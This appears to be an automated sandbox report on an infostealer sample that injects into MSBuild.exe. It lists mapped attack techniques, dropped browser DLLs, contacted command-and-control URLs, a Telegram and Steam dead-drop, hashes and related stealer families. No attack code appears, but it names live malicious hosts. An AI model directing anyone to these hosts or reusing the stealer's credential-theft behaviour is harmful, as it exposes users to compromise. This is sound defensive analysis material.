Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6616, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C550C40 sqlite3_bind_zeroblob,

1_2_6C550C40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	54 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	511 Process Injection	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
lade.petperfectcare.com	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199780418869	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://t.me/ae5ed	2%	Virustotal		Browse
http://lade.petperfectcare.com/	0%	Virustotal		Browse
http://cowod.hopto.org_DEBUG.zip/c	0%	Virustotal		Browse
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	0%	Virustotal		Browse
http://lade.petperfectcare.com:80	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
lade.petperfectcare.com	95.164.90.97	true	true	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://lade.petperfectcare.com/mozglue.dll	true		unknown
http://lade.petperfectcare.com/sql.dll	true		unknown
http://lade.petperfectcare.com/	true	0%, Virustotal, Browse	unknown
http://lade.petperfectcare.com/msvcp140.dll	true		unknown
http://lade.petperfectcare.com/freebl3.dll	true		unknown
http://lade.petperfectcare.com/nss3.dll	true		unknown
http://lade.petperfectcare.com/softokn3.dll	true		unknown
https://steamcommunity.com/profiles/76561199780418869	true	URL Reputation: malware	unknown
http://lade.petperfectcare.com/vcruntime140.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HDBGHD.1.dr	false	URL Reputation: safe	unknown
https://t.me/ae5ed	file.exe, file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/nss3.dllq	MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/softokn3.dll-0	MSBuild.exe, 00000001.00000002.3029810076.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com:80t-Disposition:	MSBuild.exe, 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	false		unknown
http://upx.sf.net	Amcache.hve.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/vcruntime140.dllo	MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIJDAF.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIJDAF.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HDBGHD.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80/sql.dll	MSBuild.exe, 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	EGCGHC.1.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	GIJDAF.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80nfwqnfwovfdkhttps://steamcommunity.com/profiles/76561199780418869u5	file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	HDBGHD.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	GIJDAF.1.dr	false	URL Reputation: safe	unknown
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
http://lade.petperfectcare.com:80	file.exe, file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://lade.petperfectcare.com/sql.dlld	MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	false		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.3039927466.000000001D81D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/H	MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
95.164.90.97	lade.petperfectcare.com	Gibraltar		39762	VAKPoltavaUkraineUA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527562
Start date and time:	2024-10-07 03:14:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/26@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 99 Number of non-executed functions: 216
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 93.184.221.240, 40.69.42.241, 192.229.221.95, 13.95.31.18, 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, wu.ec.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, azureedge-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:15:36	API Interceptor	1x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	qtYuyATh0U.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	https://ln.run/qHANs	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
	Pvh6OAKuBe.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://gauravchauhan25.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
fp2e7a.wpc.phicdn.net	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://maxask.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	192.229.221.95
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://www.ngdhqw.blogspot.de/	Get hash	malicious	GRQ Scam	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VAKPoltavaUkraineUA	bind.aspx.exe	Get hash	malicious	Vidar	Browse	95.164.119.162
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	95.164.119.162
	Unlock_Tool_5.0.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.164.119.162
	81bl0ZlcJ3.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	95.164.119.162
	ejH1Ma9DnJ.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	xnfvsO7kVN.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse	95.164.119.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://maxask.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\HIEBAKEHDHCA\AAAKEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\ECGDAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\EGCGHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	modified
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HIEBAKEHDHCA\GDBFCG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\GDHCGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
